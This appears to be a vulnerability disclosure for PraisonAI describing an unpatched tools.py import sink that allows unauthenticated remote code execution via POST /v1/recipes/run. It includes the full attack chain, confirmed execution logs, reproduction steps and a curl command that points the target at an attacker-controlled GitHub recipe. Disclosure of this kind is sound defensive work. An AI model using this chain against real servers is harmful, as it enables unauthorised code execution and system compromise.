TL;DR

CVE-2026-40287's fix gated tools.py auto-import behind PRAISONAIALLOWLOCALTOOLS=true in two files (toolresolver.py, api/call.py). A third import sink in praisonai/templates/tooloverride.py was missed and remains unguarded. It is reached by the recipe runner on every recipe execution and is remotely triggerable through POST /v1/recipes/run with a recipe value pointing at any local absolute path or any GitHub repo (because SecurityConfig.allowanygithub defaults to True). The attacker drops a tools.py next to TEMPLATE.yaml; the server execmodule()s it. No auth required by default, no environment opt-in required.

Patch coverage gap

CVE-2026-40287 was fixed in v4.5.139 by adding an env-var gate at:

| File | Line | Gate | |---|---|---| | praisonai/toolresolver.py | 77 | if os.environ.get("PRAISONAIALLOWLOCALTOOLS", "").lower() != "true": | | praisonai/api/call.py | 80 | same |

But the equivalent sinks in praisonai/templates/tooloverride.py were not patched:

python tooloverride.py - createtoolregistrywithoverrides() 332 cwdtoolspy = Path.cwd() / "tools.py" 333 if cwdtoolspy.exists(): 334 try: 335 tools = loader.loadfromfile(str(cwdtoolspy)) # <-- execmodule 336 registry.update(tools) 337 except Exception: 338 pass 339 341 # 4. Template-local tools.py 342 if templatedir: 343 toolspy = Path(templatedir) / "tools.py" 344 if toolspy.exists(): 345 try: 346 tools = loader.loadfromfile(str(toolspy)) # <-- execmodule 347 registry.update(tools) 348 except Exception: 349 pass

loadfromfile (line 84-94) ends in spec.loader.execmodule(module) with no allowlist, no signature check, no env gate. Both call sites run unconditionally on every recipe execution.

Attack chain

HTTP POST /v1/recipes/run body: {"recipe": "<abs path>" | "github:<owner>/<repo>/<recipe>"} │ ▼ recipe/serve.py:483 runrecipe(request) ← auth=none default │ ▼ recipe/core.py:215 recipe.run(name, ...) │ ▼ recipe/core.py:686 loadrecipe(name) └─ ".." check only; absolute paths and URIs allowed │ ▼ templates/loader.py:94 TemplateLoader.load(uri) │ ▼ templates/security.py:130 issourceallowed("github:") └─ allowanygithub=True default → returns True │ ▼ templates/registry.py fetch repo from raw.githubusercontent.com → cache dir │ ▼ templates/security.py:215 validatetemplatedirectory(cached.path) └─ .py is in allowedextensions → tools.py kept │ ▼ recipe/core.py:887 executerecipe(recipeconfig, ...) │ ▼ recipe/core.py:943 createtoolregistrywithoverrides( includedefaults=True, templatedir=recipeconfig.path) │ ▼ templates/tooloverride.py:341-349 loadfromfile(templatedir/tools.py) │ ▼ templates/tooloverride.py:94 spec.loader.execmodule(module) ← RCE

The tool registry build runs before any LLM/agent step, so OPENAIAPIKEY and similar are not required. A recipe with an empty workflow.steps: [] is sufficient - the payload fires during registry construction.

Confirmed execution (2026-04-25, praisonai 4.6.31)

SERVER stdout (PID 43784): Uvicorn running on http://127.0.0.1:8765 127.0.0.1 - POST /v1/recipes/run HTTP/1.1 [CVE-2026-40287-bypass] RCE fired. Marker written to: …/praisonaipwn1777094071.txt 127.0.0.1 - "POST /v1/recipes/run" 500 Internal Server Error

Marker file: pid: 43784 ← matches server PID argv: ['server.py'] ← server process, not exploit

The 500 response is a downstream side-effect of workflow.steps: [] failing to construct a runnable workflow; the execmodule(tools.py) call runs before that error. The attacker payload has already executed in the server process by the time the 500 is sent.

Reproduction (local-path variant)

Files under pocs/praisonai-cve-2026-40287-bypass/:

- evilrecipe/TEMPLATE.yaml - minimal recipe metadata - evilrecipe/tools.py - payload (writes a marker file in tempdir) - server.py - starts praisonai.recipe.serve.createapp({}) on 127.0.0.1:8765 (default auth: none) - exploit.py - single POST to /v1/recipes/run

bash pip install 'praisonai[serve]==4.6.31'

Terminal 1 python server.py

Terminal 2 python exploit.py

Expected: server stdout shows [CVE-2026-40287-bypass] RCE fired.; a praisonaipwn<timestamp>.txt file appears in the system temp directory containing user, host, pid, cwd captured from inside the server process.

Reproduction (remote GitHub variant)

bash Push evilrecipe/ to https://github.com/<you>/poc-recipe (public repo)

curl -X POST http://target:8765/v1/recipes/run \ -H 'Content-Type: application/json' \ -d '{"recipe":"github:<you>/poc-recipe/poc-recipe"}'

No filesystem prerequisite on the target. Triggers because SecurityConfig.allowanygithub (templates/security.py:30) defaults to True.